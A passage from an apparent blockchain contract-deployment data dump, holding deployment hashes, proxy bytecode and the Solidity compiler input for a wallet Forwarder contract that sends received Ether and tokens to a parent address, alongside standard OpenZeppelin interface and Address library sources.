functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}} |
1 | 19,493,877 | 3abacc97a92eb734c3e3a358cea07f24eb1384bc9c6779a3c299ebed7ae65077 | 24788344ed3fea34ffb76dca2e56b878e3373be16e8b3e4577eba0ebf9d06cb7 | 41ed843a086f44b8cb23decc8170c132bc257874 | 29ef46035e9fa3d570c598d3266424ca11413b0c | ee322c0e5685fdcfb71847475c86a95b40e3d75c | 3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"contracts/Forwarder.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) 